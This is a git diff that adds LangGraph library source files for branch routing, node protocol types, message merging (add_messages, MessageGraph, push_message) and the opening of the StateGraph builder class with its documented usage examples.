+            if isfunction(path.func) or ismethod(path.func):
+                callable_ = path.func
+            elif (callable_method := getattr(path.func, "__call__", None)) and ismethod(
+                callable_method
+            ):
+                callable_ = callable_method
+            elif isfunction(path.afunc) or ismethod(path.afunc):
+                callable_ = path.afunc
+            elif (
+                callable_method := getattr(path.afunc, "__call__", None)
+            ) and ismethod(callable_method):
+                callable_ = callable_method
+        elif callable(path):
+            callable_ = path
+
+        if callable_ is not None and (hints := get_type_hints(callable_)):
+            first_parameter_name = next(
+                iter(signature(cast(FunctionType, callable_)).parameters.keys())
+            )
+            if input_hint := hints.get(first_parameter_name):
+                if isinstance(input_hint, type) and get_type_hints(input_hint):
+                    input = input_hint
+    except (TypeError, StopIteration):
+        pass
+
+    return input
+
+
+class BranchSpec(NamedTuple):
+    path: Runnable[Any, Hashable | list[Hashable]]
+    ends: dict[Hashable, str] | None
+    input_schema: type[Any] | None = None
+
+    @classmethod
+    def from_path(
+        cls,
+        path: Runnable[Any, Hashable | list[Hashable]],
+        path_map: dict[Hashable, str] | list[str] | None,
+        infer_schema: bool = False,
+    ) -> BranchSpec:
+        # coerce path_map to a dictionary
+        path_map_: dict[Hashable, str] | None = None
+        try:
+            if isinstance(path_map, dict):
+                path_map_ = path_map.copy()
+            elif isinstance(path_map, list):
+                path_map_ = {name: name for name in path_map}
+            else:
+                # find func
+                func: Callable | None = None
+                if isinstance(path, (RunnableCallable, RunnableLambda)):
+                    func = path.func or path.afunc
+                if func is not None:
+                    # find callable method
+                    if (cal := getattr(path, "__call__", None)) and ismethod(cal):
+                        func = cal
+                    # get the return type
+                    if rtn_type := get_type_hints(func).get("return"):
+                        if get_origin(rtn_type) is Literal:
+                            path_map_ = {name: name for name in get_args(rtn_type)}
+        except Exception:
+            pass
+        # infer input schema
+        input_schema = _get_branch_path_input_schema(path) if infer_schema else None
+        # create branch
+        return cls(path=path, ends=path_map_, input_schema=input_schema)
+
+    def run(
+        self,
+        writer: _Writer,
+        reader: Callable[[RunnableConfig], Any] | None = None,
+    ) -> RunnableCallable:
+        return ChannelWrite.register_writer(
+            RunnableCallable(
+                func=self._route,
+                afunc=self._aroute,
+                writer=writer,
+                reader=reader,
+                name=None,
+                trace=False,
+            ),
+            list(
+                zip_longest(
+                    writer([e for e in self.ends.values()], True),
+                    [str(la) for la, e in self.ends.items()],
+                )
+            )
+            if self.ends
+            else None,
+        )
+
+    def _route(
+        self,
+        input: Any,
+        config: RunnableConfig,
+        *,
+        reader: Callable[[RunnableConfig], Any] | None,
+        writer: _Writer,
+    ) -> Runnable:
+        if reader:
+            value = reader(config)
+            # passthrough additional keys from node to branch
+            # only doable when using dict states
+            if (
+                isinstance(value, dict)
+                and isinstance(input, dict)
+                and self.input_schema is None
+            ):
+                value = {**input, **value}
+        else:
+            value = input
+        result = self.path.invoke(value, config)
+        return self._finish(writer, input, result, config)
+
+    async def _aroute(
+        self,
+        input: Any,
+        config: RunnableConfig,
+        *,
+        reader: Callable[[RunnableConfig], Any] | None,
+        writer: _Writer,
+    ) -> Runnable:
+        if reader:
+            value = reader(config)
+            # passthrough additional keys from node to branch
+            # only doable when using dict states
+            if (
+                isinstance(value, dict)
+                and isinstance(input, dict)
+                and self.input_schema is None
+            ):
+                value = {**input, **value}
+        else:
+            value = input
+        result = await self.path.ainvoke(value, config)
+        return self._finish(writer, input, result, config)
+
+    def _finish(
+        self,
+        writer: _Writer,
+        input: Any,
+        result: Any,
+        config: RunnableConfig,
+    ) -> Runnable | Any:
+        if not isinstance(result, (list, tuple)):
+            result = [result]
+        if self.ends:
+            destinations: Sequence[Send | str] = [
+                r if isinstance(r, Send) else self.ends[r] for r in result
+            ]
+        else:
+            destinations = cast(Sequence[Send | str], result)
+        if any(dest is None or dest == START for dest in destinations):
+            raise ValueError("Branch did not return a valid destination")
+        if any(p.node == END for p in destinations if isinstance(p, Send)):
+            raise InvalidUpdateError("Cannot send a packet to the END node")
+        entries = writer(destinations, False)
+        if not entries:
+            return input
+        else:
+            need_passthrough = False
+            for e in entries:
+                if isinstance(e, ChannelWriteEntry):
+                    if e.value is PASSTHROUGH:
+                        need_passthrough = True
+                        break
+            if need_passthrough:
+                return ChannelWrite(entries)
+            else:
+                ChannelWrite.do_write(config, entries)
+                return input
diff --git a/libs/langgraph/langgraph/graph/_node.py b/libs/langgraph/langgraph/graph/_node.py
new file mode 100644
index 0000000..d8238c2
--- /dev/null
+++ b/libs/langgraph/langgraph/graph/_node.py
@@ -0,0 +1,95 @@
+from __future__ import annotations
+
+from collections.abc import Sequence
+from dataclasses import dataclass
+from typing import Any, Generic, Protocol, TypeAlias
+
+from langchain_core.runnables import Runnable, RunnableConfig
+from langgraph.store.base import BaseStore
+
+from langgraph._internal._typing import EMPTY_SEQ
+from langgraph.runtime import Runtime
+from langgraph.types import CachePolicy, RetryPolicy, StreamWriter, TimeoutPolicy
+from langgraph.typing import ContextT, NodeInputT, NodeInputT_contra
+
+
+class _Node(Protocol[NodeInputT_contra]):
+    def __call__(self, state: NodeInputT_contra) -> Any: ...
+
+
+class _NodeWithConfig(Protocol[NodeInputT_contra]):
+    def __call__(self, state: NodeInputT_contra, config: RunnableConfig) -> Any: ...
+
+
+class _NodeWithWriter(Protocol[NodeInputT_contra]):
+    def __call__(self, state: NodeInputT_contra, *, writer: StreamWriter) -> Any: ...
+
+
+class _NodeWithStore(Protocol[NodeInputT_contra]):
+    def __call__(self, state: NodeInputT_contra, *, store: BaseStore) -> Any: ...
+
+
+class _NodeWithWriterStore(Protocol[NodeInputT_contra]):
+    def __call__(
+        self, state: NodeInputT_contra, *, writer: StreamWriter, store: BaseStore
+    ) -> Any: ...
+
+
+class _NodeWithConfigWriter(Protocol[NodeInputT_contra]):
+    def __call__(
+        self, state: NodeInputT_contra, *, config: RunnableConfig, writer: StreamWriter
+    ) -> Any: ...
+
+
+class _NodeWithConfigStore(Protocol[NodeInputT_contra]):
+    def __call__(
+        self, state: NodeInputT_contra, *, config: RunnableConfig, store: BaseStore
+    ) -> Any: ...
+
+
+class _NodeWithConfigWriterStore(Protocol[NodeInputT_contra]):
+    def __call__(
+        self,
+        state: NodeInputT_contra,
+        *,
+        config: RunnableConfig,
+        writer: StreamWriter,
+        store: BaseStore,
+    ) -> Any: ...
+
+
+class _NodeWithRuntime(Protocol[NodeInputT_contra, ContextT]):
+    def __call__(
+        self, state: NodeInputT_contra, *, runtime: Runtime[ContextT]
+    ) -> Any: ...
+
+
+# TODO: we probably don't want to explicitly support the config / store signatures once
+# we move to adding a context arg. Maybe what we do is we add support for kwargs with param spec
+# this is purely for typing purposes though, so can easily change in the coming weeks.
+StateNode: TypeAlias = (
+    _Node[NodeInputT]
+    | _NodeWithConfig[NodeInputT]
+    | _NodeWithWriter[NodeInputT]
+    | _NodeWithStore[NodeInputT]
+    | _NodeWithWriterStore[NodeInputT]
+    | _NodeWithConfigWriter[NodeInputT]
+    | _NodeWithConfigStore[NodeInputT]
+    | _NodeWithConfigWriterStore[NodeInputT]
+    | _NodeWithRuntime[NodeInputT, ContextT]
+    | Runnable[NodeInputT, Any]
+)
+
+
+@dataclass(slots=True)
+class StateNodeSpec(Generic[NodeInputT, ContextT]):
+    runnable: StateNode[NodeInputT, ContextT]
+    metadata: dict[str, Any] | None
+    input_schema: type[NodeInputT]
+    retry_policy: RetryPolicy | Sequence[RetryPolicy] | None
+    cache_policy: CachePolicy | None
+    is_error_handler: bool = False
+    error_handler_node: str | None = None
+    ends: tuple[str, ...] | dict[str, str] | None = EMPTY_SEQ
+    defer: bool = False
+    timeout: TimeoutPolicy | None = None
diff --git a/libs/langgraph/langgraph/graph/message.py b/libs/langgraph/langgraph/graph/message.py
new file mode 100644
index 0000000..64f375a
--- /dev/null
+++ b/libs/langgraph/langgraph/graph/message.py
@@ -0,0 +1,437 @@
+from __future__ import annotations
+
+import uuid
+import warnings
+from collections.abc import Callable, Sequence
+from functools import partial
+from typing import (
+    Annotated,
+    Any,
+    Literal,
+    cast,
+)
+
+from langchain_core.messages import (
+    AnyMessage,
+    BaseMessage,
+    BaseMessageChunk,
+    MessageLikeRepresentation,
+    RemoveMessage,
+    convert_to_messages,
+    message_chunk_to_message,
+)
+from typing_extensions import TypedDict, deprecated
+
+from langgraph._internal._constants import CONF, CONFIG_KEY_SEND, NS_SEP
+from langgraph.graph.state import StateGraph
+from langgraph.warnings import LangGraphDeprecatedSinceV10
+
+__all__ = (
+    "add_messages",
+    "MessagesState",
+    "MessageGraph",
+    "REMOVE_ALL_MESSAGES",
+)
+
+Messages = list[MessageLikeRepresentation] | MessageLikeRepresentation
+
+REMOVE_ALL_MESSAGES = "__remove_all__"
+
+
+def _add_messages_wrapper(func: Callable) -> Callable[[Messages, Messages], Messages]:
+    def _add_messages(
+        left: Messages | None = None, right: Messages | None = None, **kwargs: Any
+    ) -> Messages | Callable[[Messages, Messages], Messages]:
+        if left is not None and right is not None:
+            return func(left, right, **kwargs)
+        elif left is not None or right is not None:
+            msg = (
+                f"Must specify non-null arguments for both 'left' and 'right'. Only "
+                f"received: '{'left' if left else 'right'}'."
+            )
+            raise ValueError(msg)
+        else:
+            return partial(func, **kwargs)
+
+    _add_messages.__doc__ = func.__doc__
+    return cast(Callable[[Messages, Messages], Messages], _add_messages)
+
+
+@_add_messages_wrapper
+def add_messages(
+    left: Messages,
+    right: Messages,
+    *,
+    format: Literal["langchain-openai"] | None = None,
+) -> Messages:
+    """Merges two lists of messages, updating existing messages by ID.
+
+    By default, this ensures the state is "append-only", unless the
+    new message has the same ID as an existing message.
+
+    Args:
+        left: The base list of `Messages`.
+        right: The list of `Messages` (or single `Message`) to merge
+            into the base list.
+        format: The format to return messages in. If `None` then `Messages` will be
+            returned as is. If `langchain-openai` then `Messages` will be returned as
+            `BaseMessage` objects with their contents formatted to match OpenAI message
+            format, meaning contents can be string, `'text'` blocks, or `'image_url'` blocks
+            and tool responses are returned as their own `ToolMessage` objects.
+
+            !!! important "Requirement"
+
+                Must have `langchain-core>=0.3.11` installed to use this feature.
+
+    Returns:
+        A new list of messages with the messages from `right` merged into `left`.
+        If a message in `right` has the same ID as a message in `left`, the
+            message from `right` will replace the message from `left`.
+
+    Example: Basic usage
+        ```python
+        from langchain_core.messages import AIMessage, HumanMessage
+
+        msgs1 = [HumanMessage(content="Hello", id="1")]
+        msgs2 = [AIMessage(content="Hi there!", id="2")]
+        add_messages(msgs1, msgs2)
+        # [HumanMessage(content='Hello', id='1'), AIMessage(content='Hi there!', id='2')]
+        ```
+
+    Example: Overwrite existing message
+        ```python
+        msgs1 = [HumanMessage(content="Hello", id="1")]
+        msgs2 = [HumanMessage(content="Hello again", id="1")]
+        add_messages(msgs1, msgs2)
+        # [HumanMessage(content='Hello again', id='1')]
+        ```
+
+    Example: Use in a StateGraph
+        ```python
+        from typing import Annotated
+        from typing_extensions import TypedDict
+        from langgraph.graph import StateGraph
+
+
+        class State(TypedDict):
+            messages: Annotated[list, add_messages]
+
+
+        builder = StateGraph(State)
+        builder.add_node("chatbot", lambda state: {"messages": [("assistant", "Hello")]})
+        builder.set_entry_point("chatbot")
+        builder.set_finish_point("chatbot")
+        graph = builder.compile()
+        graph.invoke({})
+        # {'messages': [AIMessage(content='Hello', id=...)]}
+        ```
+
+    Example: Use OpenAI message format
+        ```python
+        from typing import Annotated
+        from typing_extensions import TypedDict
+        from langgraph.graph import StateGraph, add_messages
+
+
+        class State(TypedDict):
+            messages: Annotated[list, add_messages(format="langchain-openai")]
+
+
+        def chatbot_node(state: State) -> list:
+            return {
+                "messages": [
+                    {
+                        "role": "user",
+                        "content": [
+                            {
+                                "type": "text",
+                                "text": "Here's an image:",
+                                "cache_control": {"type": "ephemeral"},
+                            },
+                            {
+                                "type": "image",
+                                "source": {
+                                    "type": "base64",
+                                    "media_type": "image/jpeg",
+                                    "data": "1234",
+                                },
+                            },
+                        ],
+                    },
+                ]
+            }
+
+
+        builder = StateGraph(State)
+        builder.add_node("chatbot", chatbot_node)
+        builder.set_entry_point("chatbot")
+        builder.set_finish_point("chatbot")
+        graph = builder.compile()
+        graph.invoke({"messages": []})
+        # {
+        #     'messages': [
+        #         HumanMessage(
+        #             content=[
+        #                 {"type": "text", "text": "Here's an image:"},
+        #                 {
+        #                     "type": "image_url",
+        #                     "image_url": {"url": "data:image/jpeg;base64,1234"},
+        #                 },
+        #             ],
+        #         ),
+        #     ]
+        # }
+        ```
+
+    """
+    remove_all_idx = None
+    # coerce to list
+    if not isinstance(left, list):
+        left = [left]  # type: ignore[assignment]
+    if not isinstance(right, list):
+        right = [right]  # type: ignore[assignment]
+    # coerce to message
+    left = [
+        message_chunk_to_message(cast(BaseMessageChunk, m))
+        for m in convert_to_messages(left)
+    ]
+    right = [
+        message_chunk_to_message(cast(BaseMessageChunk, m))
+        for m in convert_to_messages(right)
+    ]
+    # assign missing ids
+    for m in left:
+        if m.id is None:
+            m.id = str(uuid.uuid4())
+    for idx, m in enumerate(right):
+        if m.id is None:
+            m.id = str(uuid.uuid4())
+        if isinstance(m, RemoveMessage) and m.id == REMOVE_ALL_MESSAGES:
+            remove_all_idx = idx
+
+    if remove_all_idx is not None:
+        return right[remove_all_idx + 1 :]
+
+    # merge
+    merged = left.copy()
+    merged_by_id = {m.id: i for i, m in enumerate(merged)}
+    ids_to_remove = set()
+    for m in right:
+        if (existing_idx := merged_by_id.get(m.id)) is not None:
+            if isinstance(m, RemoveMessage):
+                ids_to_remove.add(m.id)
+            else:
+                ids_to_remove.discard(m.id)
+                merged[existing_idx] = m
+        else:
+            if isinstance(m, RemoveMessage):
+                raise ValueError(
+                    f"Attempting to delete a message with an ID that doesn't exist ('{m.id}')"
+                )
+
+            merged_by_id[m.id] = len(merged)
+            merged.append(m)
+    merged = [m for m in merged if m.id not in ids_to_remove]
+
+    if format == "langchain-openai":
+        merged = _format_messages(merged)
+    elif format:
+        msg = f"Unrecognized {format=}. Expected one of 'langchain-openai', None."
+        raise ValueError(msg)
+    else:
+        pass
+
+    return merged
+
+
+def _messages_delta_reducer(
+    state: list[AnyMessage], writes: list[list[AnyMessage]]
+) -> list[AnyMessage]:
+    """**Experimental.** Batch reducer for use with `DeltaChannel`.
+
+    Processes all writes in one pass — dedup by ID, `RemoveMessage`
+    tombstoning — without calling `add_messages`.
+
+    This reducer is batching-invariant, as required by `DeltaChannel`:
+    `reducer(reducer(state, xs), ys) == reducer(state, xs + ys)`.
+
+    Raw dict / string / tuple inputs are coerced to typed `BaseMessage`
+    objects so that HTTP-driven graphs work without a separate coercion
+    step. This is not full `add_messages` parity — `REMOVE_ALL_MESSAGES`,
+    unknown-id `RemoveMessage` errors, missing-id UUID assignment, and
+    `BaseMessageChunk` conversion are not handled here.
+
+    Example::
+
+        from typing import Annotated
+        from langgraph.channels.delta import DeltaChannel
+        from langgraph.graph.message import _messages_delta_reducer
+
+        class State(TypedDict):
+            messages: Annotated[list, DeltaChannel(_messages_delta_reducer)]
+    """
+
+    # Each write is either a list of message-likes or a single message-like
+    # (BaseMessage / dict / str / tuple). Only lists flatten; everything
+    # else is one message.
+    flat: list[Any] = []
+    for w in writes:
+        if isinstance(w, list):
+            flat.extend(w)
+        else:
+            flat.append(w)
+    # Steady state: the reducer's own output is already typed, so skip
+    # `convert_to_messages` on state when the first element is a BaseMessage.
+    # Only raw input (initial dicts, deserialized blobs) hits the slow path.
+    if state and isinstance(state[0], BaseMessage):
+        state_msgs = state
+    else:
+        state_msgs = cast("list[AnyMessage]", convert_to_messages(state))
+    msgs = cast("list[AnyMessage]", convert_to_messages(flat))
+
+    index: dict[str, int] = {
+        m.id: i for i, m in enumerate(state_msgs) if m.id is not None
+    }
+    result: list[AnyMessage | None] = list(state_msgs)
+    for msg in msgs:
+        mid = msg.id
+        if mid is None:
+            result.append(msg)
+        elif isinstance(msg, RemoveMessage):
+            if mid in index:
+                result[index[mid]] = None
+                del index[mid]
+        elif mid in index:
+            result[index[mid]] = msg
+        else:
+            index[mid] = len(result)
+            result.append(msg)
+    return [m for m in result if m is not None]
+
+
+@deprecated(
+    "MessageGraph is deprecated in langgraph 1.0.0, to be removed in 2.0.0. Please use StateGraph with a `messages` key instead.",
+    category=None,
+)
+class MessageGraph(StateGraph):
+    """A StateGraph where every node receives a list of messages as input and returns one or more messages as output.
+
+    MessageGraph is a subclass of StateGraph whose entire state is a single, append-only* list of messages.
+    Each node in a MessageGraph takes a list of messages as input and returns zero or more
+    messages as output. The `add_messages` function is used to merge the output messages from each node
+    into the existing list of messages in the graph's state.
+
+    Examples:
+        ```pycon
+        >>> from langgraph.graph.message import MessageGraph
+        ...
+        >>> builder = MessageGraph()
+        >>> builder.add_node("chatbot", lambda state: [("assistant", "Hello!")])
+        >>> builder.set_entry_point("chatbot")
+        >>> builder.set_finish_point("chatbot")
+        >>> builder.compile().invoke([("user", "Hi there.")])
+        [HumanMessage(content="Hi there.", id='...'), AIMessage(content="Hello!", id='...')]
+        ```
+
+        ```pycon
+        >>> from langchain_core.messages import AIMessage, HumanMessage, ToolMessage
+        >>> from langgraph.graph.message import MessageGraph
+        ...
+        >>> builder = MessageGraph()
+        >>> builder.add_node(
+        ...     "chatbot",
+        ...     lambda state: [
+        ...         AIMessage(
+        ...             content="Hello!",
+        ...             tool_calls=[{"name": "search", "id": "123", "args": {"query": "X"}}],
+        ...         )
+        ...     ],
+        ... )
+        >>> builder.add_node(
+        ...     "search", lambda state: [ToolMessage(content="Searching...", tool_call_id="123")]
+        ... )
+        >>> builder.set_entry_point("chatbot")
+        >>> builder.add_edge("chatbot", "search")
+        >>> builder.set_finish_point("search")
+        >>> builder.compile().invoke([HumanMessage(content="Hi there. Can you search for X?")])
+        {'messages': [HumanMessage(content="Hi there. Can you search for X?", id='b8b7d8f4-7f4d-4f4d-9c1d-f8b8d8f4d9c1'),
+                     AIMessage(content="Hello!", id='f4d9c1d8-8d8f-4d9c-b8b7-d8f4f4d9c1d8'),
+                     ToolMessage(content="Searching...", id='d8f4f4d9-c1d8-4f4d-b8b7-d8f4f4d9c1d8', tool_call_id="123")]}
+        ```
+    """
+
+    def __init__(self) -> None:
+        warnings.warn(
+            "MessageGraph is deprecated in LangGraph v1.0.0, to be removed in v2.0.0. Please use StateGraph with a `messages` key instead.",
+            category=LangGraphDeprecatedSinceV10,
+            stacklevel=2,
+        )
+        super().__init__(Annotated[list[AnyMessage], add_messages])  # type: ignore[arg-type]
+
+
+class MessagesState(TypedDict):
+    messages: Annotated[list[AnyMessage], add_messages]
+
+
+def _format_messages(messages: Sequence[BaseMessage]) -> list[BaseMessage]:
+    try:
+        from langchain_core.messages import convert_to_openai_messages
+    except ImportError:
+        msg = (
+            "Must have langchain-core>=0.3.11 installed to use automatic message "
+            "formatting (format='langchain-openai'). Please update your langchain-core "
+            "version or remove the 'format' flag. Returning un-formatted "
+            "messages."
+        )
+        warnings.warn(msg)
+        return list(messages)
+    else:
+        return convert_to_messages(convert_to_openai_messages(messages))
+
+
+def push_message(
+    message: MessageLikeRepresentation | BaseMessageChunk,
+    *,
+    state_key: str | None = "messages",
+) -> AnyMessage:
+    """Write a message manually to the `messages` / `messages-tuple` stream mode.
+
+    Will automatically write to the channel specified in the `state_key` unless `state_key` is `None`.
+    """
+
+    from langchain_core.callbacks.base import (
+        BaseCallbackHandler,
+        BaseCallbackManager,
+    )
+
+    from langgraph.config import get_config
+    from langgraph.pregel._messages import StreamMessagesHandler
+
+    config = get_config()
+    message = next(x for x in convert_to_messages([message]))
+
+    if message.id is None:
+        raise ValueError("Message ID is required")
+
+    if isinstance(config["callbacks"], BaseCallbackManager):
+        manager = config["callbacks"]
+        handlers = manager.handlers
+    elif isinstance(config["callbacks"], list) and all(
+        isinstance(x, BaseCallbackHandler) for x in config["callbacks"]
+    ):
+        handlers = config["callbacks"]
+
+    if stream_handler := next(
+        (x for x in handlers if isinstance(x, StreamMessagesHandler)), None
+    ):
+        metadata = config["metadata"]
+        message_meta = (
+            tuple(cast(str, metadata["langgraph_checkpoint_ns"]).split(NS_SEP)),
+            metadata,
+        )
+        stream_handler._emit(message_meta, message, dedupe=False)
+
+    if state_key:
+        config[CONF][CONFIG_KEY_SEND]([(state_key, message)])
+
+    return message
diff --git a/libs/langgraph/langgraph/graph/state.py b/libs/langgraph/langgraph/graph/state.py
new file mode 100644
index 0000000..deb0e9e
--- /dev/null
+++ b/libs/langgraph/langgraph/graph/state.py
@@ -0,0 +1,1964 @@
+from __future__ import annotations
+
+import inspect
+import logging
+import typing
+import warnings
+from collections import defaultdict
+from collections.abc import Awaitable, Callable, Hashable, Sequence
+from dataclasses import dataclass, is_dataclass
+from datetime import timedelta
+from functools import partial
+from inspect import isclass, isfunction, ismethod, signature
+from types import FunctionType
+from types import NoneType as NoneType
+from typing import (
+    Any,
+    Generic,
+    Literal,
+    TypeVar,
+    Union,
+    cast,
+    get_args,
+    get_origin,
+    get_type_hints,
+    overload,
+)
+
+from langchain_core.runnables import Runnable, RunnableConfig
+from langgraph.cache.base import BaseCache
+from langgraph.checkpoint.base import Checkpoint
+from langgraph.store.base import BaseStore
+from pydantic import BaseModel, TypeAdapter
+from typing_extensions import NotRequired, Required, Self, Unpack, is_typeddict
+
+from langgraph._internal import _serde
+from langgraph._internal._constants import (
+    INTERRUPT,
+    NS_END,
+    NS_SEP,
+    TASKS,
+)
+from langgraph._internal._fields import (
+    get_cached_annotated_keys,
+    get_field_default,
+    get_update_as_tuples,
+)
+from langgraph._internal._pydantic import create_model
+from langgraph._internal._runnable import coerce_to_runnable
+from langgraph._internal._timeout import coerce_timeout_policy
+from langgraph._internal._typing import EMPTY_SEQ, MISSING, DeprecatedKwargs
+from langgraph.channels.base import BaseChannel
+from langgraph.channels.binop import BinaryOperatorAggregate
+from langgraph.channels.delta import DeltaChannel
+from langgraph.channels.ephemeral_value import EphemeralValue
+from langgraph.channels.last_value import LastValue, LastValueAfterFinish
+from langgraph.channels.named_barrier_value import (
+    NamedBarrierValue,
+    NamedBarrierValueAfterFinish,
+)
+from langgraph.constants import END, START, TAG_HIDDEN
+from langgraph.errors import (
+    ErrorCode,
+    InvalidUpdateError,
+    ParentCommand,
+    create_error_message,
+)
+from langgraph.graph._branch import BranchSpec
+from langgraph.graph._node import StateNode, StateNodeSpec
+from langgraph.managed.base import (
+    ManagedValueSpec,
+    is_managed_value,
+)
+from langgraph.pregel import Pregel
+from langgraph.pregel._read import ChannelRead, PregelNode
+from langgraph.pregel._write import (
+    ChannelWrite,
+    ChannelWriteEntry,
+    ChannelWriteTupleEntry,
+)
+from langgraph.types import (
+    All,
+    CachePolicy,
+    Checkpointer,
+    Command,
+    RetryPolicy,
+    Send,
+    TimeoutPolicy,
+    ensure_valid_checkpointer,
+)
+from langgraph.typing import ContextT, InputT, NodeInputT, OutputT, StateT
+from langgraph.warnings import LangGraphDeprecatedSinceV05, LangGraphDeprecatedSinceV10
+
+__all__ = ("StateGraph", "CompiledStateGraph")
+
+logger = logging.getLogger(__name__)
+
+_CHANNEL_BRANCH_TO = "branch:to:{}"
+_DEFAULT_ERROR_HANDLER_NODE = "__default_error_handler__"
+
+
+@dataclass(slots=True)
+class _NodeDefaults:
+    """Default node policies applied to every node at compile time."""
+
+    retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None
+    cache_policy: CachePolicy | None = None
+    error_handler: StateNode[Any, Any] | None = None
+    timeout: TimeoutPolicy | None = None
+
+
+def _warn_invalid_state_schema(schema: type[Any] | Any) -> None:
+    if isinstance(schema, type):
+        return
+    if typing.get_args(schema):
+        return
+    warnings.warn(
+        f"Invalid state_schema: {schema}. Expected a type or Annotated[type, reducer]. "
+        "Please provide a valid schema to ensure correct updates.\n"
+        " See: https://langchain-ai.github.io/langgraph/reference/graphs/#stategraph"
+    )
+
+
+def _get_node_name(node: StateNode[Any, ContextT]) -> str:
+    try:
+        return getattr(node, "__name__", node.__class__.__name__)
+    except AttributeError:
+        raise TypeError(f"Unsupported node type: {type(node)}")
+
+
+class StateGraph(Generic[StateT, ContextT, InputT, OutputT]):
+    """A graph whose nodes communicate by reading and writing to a shared state.
+
+    The signature of each node is `State -> Partial`.
+
+    Each state key can optionally be annotated with a reducer function that
+    will be used to aggregate the values of that key received from multiple nodes.
+    The signature of a reducer function is `(Value, Value) -> Value`.
+
+    !!! warning
+
+        `StateGraph` is a builder class and cannot be used directly for execution.
+        You must first call `.compile()` to create an executable graph that supports
+        methods like `invoke()`, `stream()`, `astream()`, and `ainvoke()`. See the
+        `CompiledStateGraph` documentation for more details.
+
+    Args:
+        state_schema: The schema class that defines the state.
+        context_schema: The schema class that defines the runtime context.
+
+            Use this to expose immutable context data to your nodes, like `user_id`, `db_conn`, etc.
+        input_schema: The schema class that defines the input to the graph.
+        output_schema: The schema class that defines the output from the graph.
+
+    !!! warning "`config_schema` Deprecated"
+        The `config_schema` parameter is deprecated in v0.6.0 and support will be removed in v2.0.0.
+        Please use `context_schema` instead to specify the schema for run-scoped context.
+
+    Example:
+        ```python
+        from langchain_core.runnables import RunnableConfig
+        from typing_extensions import Annotated, TypedDict
+        from langgraph.checkpoint.memory import InMemorySaver
+        from langgraph.graph import StateGraph
+        from langgraph.runtime import Runtime
+
+
+        def reducer(a: list, b: int | None) -> list:
+            if b is not None:
+                return a + [b]
+            return a
+
+
+        class State(TypedDict):
+            x: Annotated[list, reducer]
+
+
+        class Context(TypedDict):
+            r: float
+
+
+        graph = StateGraph(state_schema=State, context_schema=Context)
+
+
+        def node(state: State, runtime: Runtime[Context]) -> dict:
+            r = runtime.context.get("r", 1.0)
+            x = state["x"][-1]
+            next_value = x * r * (1 - x)
+            return {"x": next_value}
+
+
+        graph.add_node("A", node)
+        graph.set_entry_point("A")
+        graph.set_finish_point("A")
+        compiled = graph.compile()
+
+        step1 = compiled.invoke({"x": 0.5}, context={"r": 3.0})
+        # {'x': [0.5, 0.75]}
+        ```
+    """
+
+    edges: set[tuple[str, str]]
+    nodes: dict[str, StateNodeSpec[Any, ContextT]]
+    branches: defaultdict[str, dict[str, BranchSpec]]
+    channels: dict[str, BaseChannel]
+    managed: dict[str, ManagedValueSpec]
+    schemas: dict[type[Any], dict[str, BaseChannel | ManagedValueSpec]]
+    waiting_edges: set[tuple[tuple[str, ...], str]]
+
+    compiled: bool
+    state_schema: type[StateT]
+    context_schema: type[ContextT] | None
+    input_schema: type[InputT]
+    output_schema: type[OutputT]
+
+    def __init__(
+        self,
+        state_schema: type[StateT],
+        context_schema: type[ContextT] | None = None,
+        *,
+        input_schema: type[InputT] | None = None,
+        output_schema: type[OutputT] | None = None,
+        **kwargs: Unpack[DeprecatedKwargs],
+    ) -> None:
+        if (config_schema := kwargs.get("config_schema", MISSING)) is not MISSING:
+            warnings.warn(
+                "`config_schema` is deprecated and will be removed. Please use `context_schema` instead.",
+                category=LangGraphDeprecatedSinceV10,
+                stacklevel=2,
+            )
+            if context_schema is None:
+                context_schema = cast(type[ContextT], config_schema)
+
+        if (input_ := kwargs.get("input", MISSING)) is not MISSING:
+            warnings.warn(
+                "`input` is deprecated and will be removed. Please use `input_schema` instead.",
+                category=LangGraphDeprecatedSinceV05,
+                stacklevel=2,
+            )
+            if input_schema is None:
+                input_schema = cast(type[InputT], input_)
+
+        if (output := kwargs.get("output", MISSING)) is not MISSING:
+            warnings.warn(
+                "`output` is deprecated and will be removed. Please use `output_schema` instead.",
+                category=LangGraphDeprecatedSinceV05,
+                stacklevel=2,
+            )
+            if output_schema is None:
+                output_schema = cast(type[OutputT], output)
+
+        self.nodes = {}
+        self.edges = set()
+        self.branches = defaultdict(dict)
+        self.schemas = {}
+        self.channels = {}
+        self.managed = {}
+        self.compiled = False
+        self.waiting_edges = set()
+
+        self.state_schema = state_schema
+        self.input_schema = cast(type[InputT], input_schema or state_schema)
+        self.output_schema = cast(type[OutputT], output_schema or state_schema)
+        self.context_schema = context_schema
+
+        self._node_defaults: _NodeDefaults = _NodeDefaults()
+
+        self._add_schema(self.state_schema)
+        self._add_schema(self.input_schema, allow_managed=False)
+        self._add_schema(self.output_schema, allow_managed=False)
+
+    def set_node_defaults(
+        self,
+        *,
+        retry_policy: RetryPolicy | Sequence[RetryPolicy] | None = None,
+        cache_policy: CachePolicy | None = None,
+        error_handler: StateNode[Any, ContextT] | None = None,
+        timeout: float | timedelta | TimeoutPolicy | None = None,
+    ) -> Self:
+        """Set default node policies that apply to every node in this graph.
+
+        Per-node values passed to `add_node` always take precedence over these
+        defaults. Defaults are applied at `compile()` time. Policies set here
+        are **not** inherited by subgraphs.
+
+        `retry_policy` and `timeout` defaults apply to **all** nodes,
+        including error-handler nodes. `cache_policy` and `error_handler`
+        defaults only apply to regular nodes -- caching error-handler results
+        is unsafe, and handlers must never catch themselves.
+
+        Args:
+            retry_policy: Default retry policy for nodes that don't specify
+                their own via `add_node(..., retry_policy=...)`. Also applies
+                to error-handler nodes.
+            cache_policy: Default cache policy for nodes that don't specify
+                their own via `add_node(..., cache_policy=...)`. Does **not**
+                apply to error-handler nodes.
+            error_handler: Default error handler invoked when any regular node
+                raises and does not have its own `error_handler` set via
+                `add_node`. The handler is **not** invoked when an
+                error-handler node itself raises -- handler failures fail the
+                run.
+            timeout: Default timeout policy for nodes that don't specify their
+                own via `add_node(..., timeout=...)`. Also applies to
+                error-handler nodes. Accepts a `TimeoutPolicy`, a number of
+                seconds (`float`), or a `timedelta`.
+
+        Returns:
+            Self: The builder instance, for chaining.
+
+        Example:
+            ```python
+            graph = (
+                StateGraph(State)
+                .set_node_defaults(
+                    retry_policy=RetryPolicy(max_attempts=3),
+                    error_handler=my_fallback_handler,
+                )
+                .add_node("a", node_a)
+                .add_node("b", node_b, retry_policy=custom_retry)  # overrides default
+                .add_edge(START, "a")
+                .compile()
+            )
+            ```
+        """
